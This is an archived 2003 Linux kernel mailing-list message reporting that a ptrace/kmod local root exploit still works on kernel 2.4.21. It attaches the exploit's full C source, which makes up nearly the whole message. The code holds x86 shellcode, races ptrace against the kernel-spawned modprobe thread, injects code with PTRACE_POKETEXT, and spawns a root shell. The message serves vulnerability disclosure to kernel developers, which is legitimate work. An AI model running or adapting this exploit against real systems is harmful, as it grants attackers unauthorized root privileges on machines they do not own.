From: "Bojan Pogačar" <bojan@gajba.net>
To: <linux-kernel@vger.kernel.org>
Subject: ptrace/kmod local root exploit STILL unresolved in 2.4.21!
Date: Fri, 13 Jun 2003 23:59:18 +0200 [thread overview]
Message-ID: <002a01c331f7$09f35150$024ba8c0@athlon> (raw)
[-- Attachment #1: Type: text/plain, Size: 273 bytes --]
Hello,
I've upgraded my linux box to 2.4.21 because of the securety reasons. Now I
found out that old local expoloit for ptrace is stil working under 2.4.21.
Wasn't it fixed in RC1?
In attachment I send you exploit, which is still working!
Best regards,
Bojan Pogacar
[-- Attachment #2: c.c --]
[-- Type: application/octet-stream, Size: 3737 bytes --]
/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
reply other threads:[~2003-06-13 21:48 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to='002a01c331f7$09f35150$024ba8c0@athlon' \
--to=bojan@gajba.net \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox